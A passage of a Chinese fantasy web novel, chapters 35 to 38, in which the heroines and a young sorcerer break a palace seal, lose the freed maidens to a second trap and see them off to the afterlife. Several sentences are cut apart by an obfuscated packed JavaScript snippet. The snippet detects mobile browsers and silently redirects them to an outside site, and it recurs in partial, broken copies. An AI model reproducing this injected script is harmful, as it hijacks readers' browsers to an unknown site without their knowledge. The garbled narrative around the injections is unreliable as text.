“你这是干什么,我们肯定能出去的!”我欲推辞,刘月亮却抓紧我的手平静道:“就当是你暂时替我保管了,出去以后,我再找你要。” 我捧着平安锁心里五味杂陈,颔首答应:“好。” 银杏盯着神像看了一阵,轻轻呢喃: “活人怎么能受神明香火呢?神明的香火,难不成还能为她增长修为?” 刘月亮说: “活人受神明香火的确会损阴德,影响气运,但宋花枝的八字好,命中气运强,所以能压制住这些副作用,而且她还是阴苗族圣女,大祭司有的是法子让她消化这些香火。 不过,大祭司的法子也算是循序渐进,这数年来,大祭司每年只允许族人们在长生殿门外的香鼎里给殿内的神明上香,且仅四月二十六当日许长生宫内有大香火,平日里,极少有人会在长生宫门外上香。 长生宫的香火与山上娘娘庙比起来,微乎其微。 这一天内的香火就足够宋花枝一年消化的了,山上真正的神娘娘受得住大香火,宋花枝现在只能一点点扩张自己的野心,投石问路。” 赵元儿: “仅一天的香火,冲不死她,但若掌握方法,就可以炼化为她所用,香火是苍生的信仰供奉,香火之力能帮她提升修为。 族里大部分人都并不晓得长生殿里供奉了神像,小部分人见过神像却只以为坐镇长生殿的是神娘娘。 而有神娘娘的神像镇着长生宫,就更能证明大祭司所作所为是为了整个苗域,根本不会有人把献祭长生玉女一事往坏处想。” 白蝴蝶思纣道:“偷神明香火给圣女食用,她难不成是想帮宋花枝成仙?” 刘月亮依旧心平气和:“恐怕大祭司的野心远不止于此,圣女刚出生就被称作神娘娘转世……” 抬眼看向正前方的假神像:“那如果有一天,圣女变成了真娘娘,也是顺理成章。” 看来刘月亮和我猜测的一样,大祭司很有可能会用宋花枝顶替真正的神娘娘。 偷香火,只是第一步。 银杏唉声叹气地犯起了愁。 我打量那尊神像时,余光无意瞥见神像手里的青莲内晃过一丝红影。 正要靠近查看那到底是什么玩意,阿乞突然跑进来招呼道:“时辰到了,银杏姐镜镜姐,我们快去点蜡烛。” 我回过神,对了,先干正事重要。 和银杏返回玉女殿门口,阿乞点燃三炷香插在玉女殿外平放于地面的古旧香炉里。 待青烟袅袅飘起,阿乞才重新又点燃三根新香,给我和银杏一人分上一根。 点燃九百九十九只蜡烛的工程量大,用香火引烛心比直接拿火折子点更节约资源。 被困在长生宫内的十七名玉女结伴候在殿门口,一双双满含期待的目光紧紧盯着被燃起的摇曳烛火,每个女孩面上都满是紧张激动。 “我们真的能逃出去了吗?” “一定能、一定能!我们有鸾镜圣女和银杏姐姐!她俩一个是老祭司的外孙女,一个是李叔的女儿。 还有阿乞!蝴蝶妹妹不是说了么,阿乞这些年是跟高人拜师学艺去了,阿乞会道术,阿乞设下的法阵一定能破解大祭司设下的禁制!” “十三年了,我终于、就要自由了!” 刘月亮冷静稳住大局:“小小,让你写的状纸,你写好了吗?” 何小小重重点头,从胸前衣襟里掏出一份写在白绸上的**,递交给刘月亮: “大姐,我已将大祭司这些年来修建长生宫、以尸油供养长生泉、用自己亲生女儿的塑像冒充神娘娘神像骗取族人香火等种种罪行全部详细写在了上面,大姐你再检查一遍,看看有没有遗漏。” 刘月亮从容接过**,缓缓展开,从头至尾详细看了遍,颔首夸赞道: “嗯,写的很好,条理清晰表述得当,真不愧是我们之间文采最好的姐妹。” 随后又拿着**带玉女们去旁边老槐树下,将**摊放在半人高的石头上。 “大家排队,在这上面签名盖手印,若今晚能成功摆脱禁制离开长生宫,我们就去告状!” “对!去地府告这个草菅人命的狗屁大祭司!” “去神娘娘面前告!” 玉女们情绪亢奋地相继在**上签了名按了血手印。 所有名字签完,年轻的姑娘们躲在树荫下双手合十,满怀希望地许愿: “等出去了,我要回家看望我的奶奶,我不在这几年不知道奶奶身体可还好。” “我要吃妈妈做的米糕,想吃我家井水冰的凉粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且我这还有师父给的仙丹,等破完阵你们服下,保管明天一早起来就元气满满,活蹦乱跳!” “是么?”银杏半信半疑。 我拉过银杏的手争分夺秒道: “先不管这么多了,只要能救出这些无辜姐妹,损些精血也无所谓。救人一命胜造七级浮屠嘛!我们就不要耽搁时间了,赶紧动手吧!” 银杏纠结片刻,点头:“好吧。” 阿乞见我俩都答应了,欣喜地从挎包里掏出两张符纸分给我和银杏,又教了我们一段掐诀手势及一句咒语,安排我们两人一左一右站在玉女殿外的东西方。 而他自己,则大步迈到玉女殿正前方,面朝红烛与香炉,抬步一迈一念咒: “一台生我。” “二台养我。” “三台护我。” “丁甲护身!” 待他念完,我和银杏皆是清晰看见少年周身有金色气流自下往上逆行。 这个阿乞,还真是有点本事。 念完咒,阿乞继续迅速掐诀施法,从挎包里掏出桃木法器,对着玉女殿的大门比划了一阵。 左手剑指**香炉里,指尖沾染香灰,右手三棱桃木法器戳进浸泡符纸的水碗里,尔后阿乞又就着符水,将自己染上香灰的左手按在三棱法器上。 由上及下用力一划,香灰浸着他的指尖血,涂抹在了被符水渗成深褐色的三棱桃木法器上—— “开天门,借神通,请八方神,诛邪——破!” 第35章 去求、华桑大帝! 阿乞气沉丹田的奋力一喝,我与银杏卡准节奏,按照阿乞教我们的步骤掐诀念咒。 咒语念完,一股强劲气流也自我背后贴着我脊梁骨逆流涌至玉女殿上空—— 我与银杏身后冲出一金一银两束灵光,而阿乞身后冲出的却是墨红光芒。 三束气流灵光于玉女殿上方汇聚、碰撞、融合、迸发出强大灵泽…… 阿乞见状,趁热打铁的赶紧继续掐诀念咒。 一金一银一红三种灵光在云空中混作一团,随着阿乞的法术驱使,力量骤然绽放,在云层下汇聚成了一盏银边金蕊的墨红大莲花—— 站在不远处的玉女们提着心,紧张兮兮地凝望着玉女殿上空的变化,暗暗攥紧手为我们加油打气。 “一定要成功啊!” “老天爷,你如果开眼,就保佑阿乞弟弟和银杏鸾镜两个妹妹今晚破阵成功。” “成败就在今晚了!” “你们一定要成功啊……” 不知是不是因为长生宫上空在作法的缘故,今晚的天,暗得格外早。 九百九十九只红烛的橘色光泽也迅速融进了盛放在玉女殿上方的墨莲花内,银杏不放心地撑着另一端,冲阿乞喊道:“我们得快点,今晚天黑的太早,长生宫上空持续有异样会被那些族人们发现的!” 阿乞咬紧牙关持续加重指尖法力,扭头望向我,眸子泛红道:“镜镜姐,借你的圣女气运一用!” “好!”我不假思索地一口应下,抬起左掌,将体内的什么圣女气运渡给他用。 他施法汲取了我体内的灵气,我顿时感觉,似有一根长筋自我掌心绵绵不绝地被拔出我的体内,扯得我脊骨酸痛,还有些发麻发痒…… 更灼目的红光涌入红莲内,平地骤然掀起一阵盘踞的飓风,风口如刃,刮得满地红烛火光疯狂摇晃! 有风灌进了玉女殿内,袭得供桌上的牌位叮咣作响。 片刻后,竟有雷光自红莲深处风驰电掣的凶猛降下,道道直逼玉女殿的屋顶及房梁。 随着数道震耳欲聋的雷霆之声降落,我也快被阿乞给吸得腿软站不住了。 惊雷虽然劈得阵势吓人,但也只击落了神殿屋顶的一层青瓦,那条缠绕红线贴满灵符的房梁只被雷火轰裂了一半,还有一半仍顽强支撑着。 房梁上的红线闪烁着诡异红光,但我们三人却已经有些力竭了。 阿乞不甘心地又从挎包里掏出锋利**,一刀划破自己的手掌,直接用血起咒,去加强玉女殿上空的红莲威力—— “今天无论如何,我也要破了这个该死的邪阵!要去我带姐姐走,要么,我和姐姐一起死!” “阿乞!”我看着少年涨红的眼眶,于心不忍地咬咬牙,从头上拔下簪子,亦是一簪子刺破了自己的手掌…… 银杏与我心有灵犀地做了同样选择,三股血液注入红莲时,悬在空中的那朵墨红莲花蓦地变大数倍,降下来的雷火,也一道比一道惊天动地! “镜镜姐、银杏姐……”少年不解地看了看我俩。 我冲少年大声道:“你说得对,今天无论如何也要破了这个邪阵,留着它后患无穷!” 我是可以逃,但我又能逃到哪里去,三千里苗域,是我的家。 只要我一天在苗域,就逃不过宋淑贞的监视! 与其躲躲藏藏,甚至被逼着背井离乡,不如正面与她一较高低! 况且,我跑了,宋淑贞仍旧可以临时选一个纯阴女顶上,到时候这些无辜的年轻女孩还是得死。 她们还这么年轻,她们个个心地善良,单纯美好,她们不该落得个失去意识,沦为傀儡的下场! 银杏也在对面吼道:“我和你镜镜姐才不是贪生怕死之辈,今天无论付出什么样的代价,我们都要抓住这唯一的机会,干他!” 阿乞眼眶一红,眼角潮湿,感动地抿了抿唇,点头颤声道:“对,干他!” 不远处的玉女们见我们连这种铤而走险的办法都用上了,也纷纷散开,掐诀绕腕施法…… 刘月亮领着几名岁数大些的姑娘踮脚轻盈地飞了起来,“我们也来帮你们!” 十七道法力打入墨红莲花内,玉女们结阵配合,那朵墨红血莲竟缓缓舒展开所有花瓣,金色花蕊上方流光交错—— 又几道惊天霹雳轰在玉女殿的房梁上,貌似是第九道轰完,房梁上缠绕的红线总算是被雷火灼成了无数截断裂的红线头。 丝线纷纷从房梁上掉落,好似一场淅淅沥沥的血雨。 众玉女身上的禁制也红光一晃,猝然崩碎。 “禁制、没了!” “自由了!” “我的魂魄没有束缚了!” “太好了,我们终于成功了……” 殿内的红线大阵猛地化风消散,骤风撞得我们三人连连后退好几步。 玉女殿上方的墨红莲花重新凝为三股灵力飞回我们体内,我伸手,看着金光钻进我的掌心融进我的身体,如释重负地猛松了口气…… 抬手抹掉脑门子上的热汗,我轻声道:“总算是结束了。” 银杏第一时间跑过来找我:“怎么样镜镜,有没有感觉特别难受?” 我摇摇头:“并没有……” 除了有点累。 阿乞掐腰猛吸几口新鲜空气,白蝴蝶走过去,将手搭在少年肩上,温和说:“终于,自由了。阿乞,你做到了。” 阿乞少年心性地转身抱住自己姐姐,激动得喜极而泣:“姐姐,我可以带你回家了……很快,你就能见到师父,我们一家人就团聚了。” **在刘月亮身边的玉女们见状皆是百感交集。 “月亮姐,我们可以回家了。” “好开心啊,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019109|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过突然恢复自由,我又有种恍若隔世的感觉。” “我也觉得,好不真实。” “自由的风,都这么清新。” “不知道山里的桃花,还在开么,不知道现在的阴苗族变成了什么模样。” “……” 玉女殿的禁制解除后,阿乞拿着火把,点燃了玉女点内的青纱帷幔。 从口袋里掏出炽火蛊,扔上了火光猎猎的房梁。 有了炽火蛊的推波助澜,仅十五分钟,玉女殿的房梁及半个屋子都被烈火烧成了灰。 阿乞拍拍手,轻松道:“好了,我们回家!” 女孩们欣喜雀跃:“回家!” “我终于能见到爸爸妈妈了!” “大黄,我来了!” “好饿好饿,想吃东西。” “都别愣着了,快走啊!” 女孩们欢欣鼓舞地急着逃离这个可怕的囚笼。 阿乞道:“你们先走,我再去后面的精怪殿放把火,我要把这座长生宫,全烧了!” 赵元儿提起兴趣举手道:“我们等你们一起,待会儿我要亲手把长生殿的泥像给砸了!” “好。” 我们大家一起拿火把,将长生宫的所有殿宇都点了火。 赵元儿和何小小亲手砸破了假娘娘的神像脑袋,刘月亮与白蝴蝶,亲自在长生殿里点了火。 长生宫内,一时处处火光冲天。 “真过瘾啊!今天终于干了我们早就想干的事了!” “姐妹们,你们说,我们今天砸了宋花枝的神像,宋花枝会不会痛不欲生?” “她既通过神像汲取我们的灵气,还敢占有属于神娘娘的香火,我们砸她神像,她当然会有所感应,估摸现在正疼得在家里打滚呢!” “爽!我们大仇得报了吼吼吼!” 我们一行人出了长生殿,浩浩荡荡地往宫门口走。 天上一轮明月从密密云层里移出来,皎皎月华洒入人间的那一刹,身后女孩们的嬉笑声突然停止了…… 我与银杏,还有阿乞好奇扭头,却见到……女孩们僵在原地,个个脸色煞白,眸底溢出血泪。 而她们的身后,竟连着一根红线…… 红线的另一端,在长生殿,假娘娘神像的手中! “姐姐!”阿乞惊恐地拔腿就要跑过去,可白蝴蝶却血泪满面地用尽全力,一掌击在阿乞肩上,将阿乞拍飞了出去…… 刘月亮咬紧牙关言简意赅地解释: “我们都被骗了,阵眼根本不在玉女殿,而在长生殿,在宋花枝手里。第二重阵法已经启动了,她们下一步,就是剥你的魂!” 从袖中掏出**,按进我怀里。 她们忍受着极大的痛苦,浑身发颤额角流血地捂着我手叮嘱: “去,求、镇山龙君、华桑大帝!你们快走,我们替你挡住阵法的威力,快走!” 第36章 紫月大长老 我抓着**,不敢相信的眼眶一热,看着她们慌张道: “不,我们一起走,我找阿乞想办法断了你们身后的红线!” 刘月亮摇头,含泪哽咽道:“没时间了,再耽搁下去只会将你们的命也搭进来。” 何小小被阵法折磨得膝上一软,痛跪在地:“死的无辜女孩已经够多了,我们不能再让你也身陷险地。” 赵元儿吐了一口血: “大祭司这个老阴比,她竟然诱导我们亲手开启第二重阵法!现在我们还能顶得住,鸾镜圣女,你快走!” “我们已经**,大不了魂飞魄散,再和她同归于尽!” “鸾镜圣女,一定不要放过宋花枝!” “不要……”我还想抓刘月亮的胳膊,却被玉女们齐齐施法,一道灵力震飞出了长生宫—— 在我渐渐拉长的视线中,那些圣女们为了替我独挡阵法的剥魂之力,一个个转身,如飞蛾扑火般,主动飞回了火势滔天的长生殿,与神像、同归于尽…… 摔落在地的同一瞬,我听见,朱红宫门后响了一道贯彻天地的**声…… 紧接着,整个长生宫都被烈火紧紧包裹,吞噬…… “刘月亮,赵元儿!”我急忙从地上爬起来,拔腿就往火海里跑,撕心裂肺地抹着眼泪冲长生宫喊她们的名字。 “镜镜!” 银杏仓皇追上我,从后一把搂住我的腰,拦着我不许我往火海里冲,悲恸道: “她们已经魂飞魄散了!她们耗尽自己全部的力量,和长生殿同归于尽了,刚才那声**,就是法阵自爆的声音!” “自爆……”我难以接受地失声痛哭:“十七条性命,就为了换我一命……凭什么!” 身后的阿乞怔怔站起身,下一秒,又失魂落魄地扑通跪下,悲痛欲绝:“姐姐——” “放我进去!现在进去或许还能收集到她们的一些残魂,我不要让她们魂飞魄散,明明,我们都已经出来了……为什么,还是救不了她们!”我挣扎着还是要往火海里冲。 银杏有些按不住崩溃的我,无奈道:“镜镜!这都是命!” “我才不信什么命呢!放开我!”我痛苦大吼。 但,就在银杏快要拦不住我时,一缕青光忽从我手上戒指内飞了出来。 在我身畔凝成清风玉骨的颀长身影,抬手将我搂进怀里,按在胸膛上。 我感受到他怀里的温暖,连忙哭着祈求道:“蛇王老爷,你神通广大救救她们好不好!她们是因为我才魂飞魄散的!” 银杏放开我,见他出现也帮着双手合十请求:“蛇王大人,救命救命啊!她们都是很好的女孩,她们不该落得这个下场,求你了!” 清隽俊美的蛇王抬头看了眼冲天的火光,冷冷道:“本尊,救不了已死之人。” “青漓……” 我猛地抓住他的手臂,昂头满脸是泪的不死心问道: “真的……救不回来了吗?要不是我,她们或许就不会魂飞魄散,她们是为了救我……如果你也没法子救她们,那我的这条贱命,岂不是她们用十七条活生生的性命换来的!” 他垂眼看着哭到失去理智的我,不忍心地抬手捧住我脸庞,用指腹温柔地抹去我眼角泪痕,蹙眉轻怪:“不许你这么说自己。” 余光扫向跪在地上捶地痛哭的阿乞,他沉沉启唇:“本尊救不了已死之人,他能。” “什么?他能,你说的是阿乞?”银杏意外惊呼。 我愣在他怀里,诧异憋住哭声:“阿乞……” 哭得喘不上气的少年背上一颤,似突然抓住一丝希望,急切地跪着爬到蛇王大人腿边,抓住男人的袍摆抽泣着问:“怎么救,您告诉我怎样才能救姐姐她们,哪怕是要我的命,我也在所不惜!” 男人居高临下的淡漠睥睨他,惜字如金的提示:“你可听说过,一念救众生,地狱化莲花。” “一念救众生,地狱化莲花?”少年眸中一震,似陡然领悟了什么,骇然昂头,怔怔盯着蛇王大人,唇角微颤,哑着嗓子不确定地问:“真的,能行吗?” 蛇王大人冷冷道:“试试不就知道了。” 银杏迷茫地轻问:“什么救众生、化莲花……” 我思考片刻,抿了抿干涩唇瓣,顿时心下了然,沉声回答: “佛家说,有一经,可令众生解脱,凡闻者,即便身处地狱,也能得到佛的救赎,地狱化莲花……是,妙法莲华经。” 银杏还是不懂,狐疑道:“佛经?这玩意儿能救人吗?要是念念佛经就能渡世人,那这世间早就没苦厄了!” 我僵在男人怀里,讷讷说:“得看,是谁念。普通人念当然没有这么大的功效……” 阿乞跪在地上安静几秒,忽抬袖擦干眼泪,踉跄从地上站了起来。 双手合十,面朝滔天火光,阖目虔诚念诵: “如是我闻。一时、佛住王舍城、耆阇崛山中,与大比丘众万二千人俱。” “皆是阿罗汉,诸漏已尽,无复烦恼,逮得己利,尽诸有结,心得自在……” 自阿乞的背后忽窜出无数串金光梵文,金光所书之字,正是阿乞含泪念出的莲华经—— 串串力量强大的梵文将阿乞包裹缠绕其中,随着阿乞将莲华经字字吐出,所念之字俱是化作金色莲花,相继朝烈火焚烧的长生宫内飞去…… 阿乞紧闭双眼,合十的双手坚定有力,眼角滑落的泪皆化成金莲花瓣,与梵文所化的金莲花一并飞入汹涌火潮里。 “菩萨摩诃萨八万人,皆于阿耨多罗三藐三菩提不退转,皆得陀罗尼。” “供养无量百千诸佛,于诸佛所、植众德本,常为诸佛之所称叹。以慈修身,善入佛慧。” “通达大智,到于彼岸。名称普闻无量世界,能度无数百千众生。” 熊熊燃烧的火焰里,金光融进**火色,不多时,竟有血红的彼岸花瓣从火场里飘了出来…… 银杏不敢相信地望着眼前这一幕,惊呼道: “这家伙到底修的是巫术还是道术,还是佛法啊!没想到他小小年纪,竟有如此修行,连妙法莲华经都敢用……” 我止住哽咽,伸手,接住一片火红似血的彼岸花花瓣,感应到花瓣上沾染的残息时,愣了愣,下一刻喜极而泣:“月亮姐!” 银杏也抬手抓到一片:“何、小小!” 我扬手放花瓣飞去,惊喜道:“她们、回来了!” 越来越多的彼岸花瓣火海里涌出来,阿乞睁开朦胧泪眼,见到这一幕,更加拼命的认真念诵:“若人有福,曾供养佛,志求胜法,为说缘觉……” 金色莲花排列成圈包裹在火海四面八方,倏然火中有红光**,越凝越大…… 两秒钟后,一只偌大的花瓣球猛地从烈焰里翻滚冲涌了出来,在我们一行人眼前轰然炸开。 顿时、漫天血雨! 而合手念经,衣角翻飞的阿乞唇边一顿。 眉心微微一拧,再开口,口中念的竟是:“一时佛在忉利天,为母说法。尔时十方无量世界,不可说不可说一切诸佛及大菩萨摩诃萨,皆来**……” 阿乞身后的金色梵文也变成了血色繁花,盏盏墨红莲花飘摇飞至长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“阿乞弟弟,我们的人生,早就已经结束了,我们只怨害我们的人,不怨这个世界!这些年来,我们早就接受了自己已死的事实,我们不害怕死亡的!” “阿乞弟弟,我们的人生已经到了尽头,可你的人生才刚刚开始,阿乞弟弟这么有本事,未来肯定是个大有作为的英雄,姐姐们看好你哦!” “阿乞弟弟,努力修炼,做惩奸除恶的大英雄!” 阿乞闻言,反而扑在白蝴蝶怀里哭得更厉害了。 白蝴蝶拿阿乞没办法地叹口气,温柔抚摸着阿乞的脑袋,轻声呵护: “阿乞,别伤心,姐姐只是这辈子苦够了,下辈子,姐姐说不定就能享福了。 阿乞,你我姐弟,此生缘浅,姐姐这辈子没有时间再多疼爱你些,我走后,你别总念着我,要好好的,乖乖的,听师父的话…… 让姐姐在九泉之下,安心。” “姐姐!” 陡然一声鸾鸣响彻夜空,我们再回头,却见到一名身形修长,墨发及腰,眉眼似画的冷俊男子。 男子安静站在白蝴蝶对面三十米距离处,身穿藏蓝广袖长袍,腰身与双肩缀满银饰,衣上银线绣出披星戴月,袖摆银丝流苏随风飘摆。 长发如瀑,墨发乌亮,鬓边是水波皓月银饰。 丹凤眼,斜剑眉,鼻骨高挺,薄唇轻抿。 五官清隽,姿若皓月。 眉心一轮紫色弯月印记,与我幼时记忆中的那轮重合……恍若隔世。 炙热的火光投洒在他身上,却被他携来的寒凉夜风吹散。 时光恍若一刹静止,天地间,月光唯落在他与白蝴蝶身上…… 第37章 你能和帝君在一起,极好 白蝴蝶玉白双目渐渐有了深邃美眸,漆黑瞳孔。 见到他,愣了许久,才温婉朝他笑:“原来,你生的这般好看。” 年龄大些的刘月亮最先认出他,慌促地双臂于胸前交叠,弯腰向他行礼:“大长老!” “大长老?” “传说中,闭关隐世的紫月大长老?” “长老会之主!” 女孩们纷纷敬畏弯腰行礼:“大长老……” 我与银杏僵在原地,半晌,才迟钝地学着月亮姐她们恭谨弯腰。 面容年轻的紫月大长老大步迈到白蝴蝶身前。 随手将闷在白蝴蝶怀里,哭到双眼红肿的阿乞拎出来,扔到一边。 阿乞肿着眼泡子:“哎?师父……” 紫月大长老主动捞过白蝴蝶的手,深情凝望着等了自己多年的姑娘,淡淡发话: “你们的魂魄受到重创,地藏经只能令你们撑到子时之前,子时一到,你们就要去阴间报道。 还有一个小时,你们若在阳间还有什么放不下的人,现在可以过去再看最后一眼。不过,你们魂体过于虚弱,所以,你们能看见他们,他们却无法见到你们,你们无法进行沟通。 这样,也好。你们已经亡故多年,没必要再让活着的人为你们难受。子时之前,全部赶回来,本座送你们走。” 女孩们相视一眼,立马听话地答应:“好!” 随后,十六名女孩化风消失在了长生宫外。 我见月亮姐她们都走了,想着这两人阔别多年再见肯定有很多话要说,我们没必要在这当电灯泡,就拉上银杏也打算去附近转一圈,等子时将至再回来。 可,我人还没来得及跑路,手腕就被眼角泛红的蛇王大人拽住。 男人低眸睥睨我,赌气似的质问道:“又要将本尊扔下?你这是第几次舍弃本尊了!” 我被问得一头雾水:“我、怎么扔你了?” 蛇王大人气得更厉害了:“你走的时候连她都记得拉上,却不管本尊,还不是想扔下本尊不管?” 银杏:“……” 我哽住:“就因为我没拉你,所以我就是扔下你不管了?我没拉你你不能自己跟上来吗?” 深更半夜的,蛇王大人又抽什么风呢…… 他顿时连幽井般的青眸都气红了,嗤笑一声,阴阳怪气道:“是本尊不配了!宋鸾镜,有本事,你俩过一辈子!” 我:“啊?” 银杏慌忙出声打断:“嗳等等!我怎么听着,这话怪怪的呢?我俩都是女的!蛇王老爷你、吃醋怎么不分性别呢?” 蛇王大人一把甩开我的手腕,臭着脸冷哼了声。 我懵圈地被他甩一踉跄,揉揉酸痛的腕,脾气也上来了,不高兴地小声嘀咕:“什么吃醋,明明就是占有欲作怪。” 哪成想他听见这句话,手腕又被他霸道地握进掌中,人也被他顺手猛地扯了过去:“本尊对你有占有欲又如何?不该么!” 我哑然:“……该该该,你先放开我的手腕,我手都要被你拽脱臼了!” 他恨铁不成钢地瞪了我一眼,撒手松开我。 说话间,紫月已牵着白蝴蝶缓步走到了我们的跟前。 看样子,像是来道谢的。 银杏和我想到一块去了,在两人冲我们弯腰的那一刻,银杏赶忙伸手阻拦:“大长老你别客气,这都是我们应该做的……” 谁知,紫月竟在直起身后,朝蛇王大人敬畏地低头唤了声:“帝君。” 帝、君? 紫月认识青漓? 我脑中还没转过弯,阿乞倒是先惊恐地跑过来,指着青漓,哆嗦着问他师父:“师父,您说、他就是帝君?!” 奇怪,银杏不是告诉过他,青漓就是娘娘庙下镇着的青蛇王了吗。 他现在为何还这么震惊…… 紫月嗯了声,优雅地弯腰,再次向青漓行礼,低低请求: “我这个不成气候的徒儿,以后,可否请帝君,给他个跟随侍奉的机会,这孩子天资聪慧,又生来不凡,若帝君肯代为管教,假以时日,必成大事。” 大长老这是要把阿乞送给青漓当小弟? “师父!”阿乞拽住大长老的袖摆,双眼红彤彤的,万分委屈道:“您不要徒儿了吗?” 白蝴蝶不解地扭头看他,他温和拍拍白蝴蝶的手背,低声坚持:“恳请帝君,能给我这顽劣徒弟一个机会。” 蛇王大人静了静,与大长老说话时还不忘把我的手用力攥进掌心。 像是,唯恐我趁他不注意跑了。 “本尊身边,有人伺候。至于他。”蛇王大人瞟了眼委屈唧唧的阿乞:“李银杏的父亲是玄门能人,以后就让阿乞跟着他修炼吧。” “李老?”大长老考虑了一下,点头:“还是您思虑周全,我这徒儿跟着李老,比跟着我强。” “我不要跟别人修炼,师父,你答应我的,让我一辈子都做您的徒弟!您一辈子都不会不要我的!”阿乞拉住大长老的袖子嚎啕大哭。 可大长老却强行扯回自己的袖摆,悄然与白蝴蝶掌心相贴,十指相扣:“为师的确答应过你,一辈子不赶你走。但,为师现在要去陪你姐姐了。” “什么?”阿乞脸色大变,仓皇后退一步。 白蝴蝶紧张地望着他,双目垂泪。 大长老转身,面向自己的爱人,儒雅温和道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026229|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“四年前,我身受重伤为蝶儿所救时,便已察觉,自己仅剩四年寿元。 不告而别,亦是不想耽搁蝶儿一生。 那时我相中了阿乞,准备培养阿乞做自己的**人。 便,狠心将阿乞从蝶儿身边带走,留蝶儿孤苦一人在家。 这四年来我尽心培养阿乞,将自己的毕生所学都传授给了阿乞,我本想着,等我死后,阿乞得我真传,便可代我回到长老会,重掌大权,做新任大长老,蝶儿有了阿乞这个依靠,就再也不会生活艰辛了。 可我没想到的是,蝶儿去年竟遭遇了不测。 我得知蝶儿身死的消息时,已经晚了,整整一年,我都深陷于悔恨之中。 我常常在想,若当初没有把阿乞带走,若、我没有懦弱的逃离,蝶儿是不是就不会**。 我恨自己没有勇气直面与蝶儿的感情,恨自己没本事看淡生死,我后悔,当初不敢亲口告诉蝶儿,我对她亦有意。 我知道蝶儿被囚禁在长生宫内,可我却不能把蝶儿出事的消息告诉阿乞,那样阿乞和我三年来的努力都白费了,只有阿乞修炼有成,才能救出蝶儿。 阿乞,是救我阴苗族的希望,于公于私,我都只能忍着对蝶儿的思念,把这一年熬完。 如今,我心愿已了,也尽到了身为大长老的职责,为阴苗族培养出了下一任长老,我也该,去陪蝶儿了。” “四年前你的伤没好?”白蝴蝶手忙脚乱的去摸他胸口,急得掉眼泪。 阿乞听完,腿软得扑通跪倒在地:“师父!” 大长老握住白蝴蝶的指尖,深情地低头啄了下爱人手指:“我的伤,不在皮肉,而在灵魂与元神。” 银杏抓住重点追问:“您不是阴苗族修炼得道的仙人吗?怎么会受这么严重的伤?是谁伤的你?” 大长老重重叹息,“不重要了……苟活世间三百载,我此生,能与蝶儿共赴黄泉,已是无憾。” “紫月……”白蝴蝶娇弱地伏在大长老怀里痛哭出声。 大长老心疼地抚了抚白蝴蝶脑袋,“蝶儿,对不起,让你受了这么久的苦……” “我不苦,紫月,我不怪你。” 拍拍爱人的后背,紫月长老将目光投在我身上,望着我一脸柔和道:“小鸾镜……你都长这么大了。” 我尴尬地往蛇王大人身边挤挤:“紫月、叔叔……” 他无奈轻笑: “上次相见,还是十六年前。那会子,你还是个机灵可爱的小丫头,牵着你外婆的手,乖乖陪你外婆办事。现在一晃眼,你都长成大姑娘了。” 瞧了眼冷脸蛇王:“你能和帝君在一起,极好。” 第38章 他在克制些什么…… 想了想,问我:“对了,你外婆,阿芝,可还好?” 我心下重重一震,低头瞬间湿了眼眶:“我外婆,已经过世了,前几天刚下葬。” “什么?”大长老没控制住的手上一抖,亦是眸中起雾:“小阿芝,竟也走了。” 银杏愤愤道:“老祭司,走得冤,都是那个狠心的大祭司干的好事!” “和宋淑贞有关?”大长老当即迫切索问:“是宋淑贞害死小阿芝的?!” 银杏点头:“大祭司给镜镜下了绝命蛊,老祭司为了给镜镜解蛊,多画了一张鬼符,当晚就被反噬而亡了。” 大长老听完,苦笑不已: “她还真是绝情,母亲、丈夫、女儿,真正对她好的人,她一个都不放过。罢了,她终有一日会后悔的,到时,她会比我们还痛苦。这人间,就是关押她的炼狱。” 丈夫? 他是说,我爸也是被宋淑贞害死的?! “我爸的死,也是宋淑贞干的?”我问他。 他沉叹,没有直接回答我的问题,只说:“小鸾镜,你要记住,活着的人才最重要。” 他说完,年轻的女孩们已经结伴回到了长生宫外。 长生宫的这场大火已经将里里外外数重宫殿焚得干干净净,火苗被夜风吹灭,仅余满地断井残垣。 紫月长老牵着白蝴蝶走到少女们身边,隔着袅袅薄烟,冲我们挥手告别。 “镜镜,银杏,再见了!” “我们会想你们的!” “若是有缘,来世再见。” “来世再见……” 白蝴蝶不放心地抿了抿唇,“阿乞,你要,健康、长寿。” “姐姐!”阿乞哭着要追上去,银杏及时拉住他,慎重道:“阿乞!别让你姐姐担心,别误了你姐姐和师父回阴间的时辰!” “姐——” 我舍不得抬手,冲她们挥了挥。 寒风吹开乌云,月光再洒落在她们身上时,紫月长老广袖一挥,带众人化作紫光一晃而逝…… 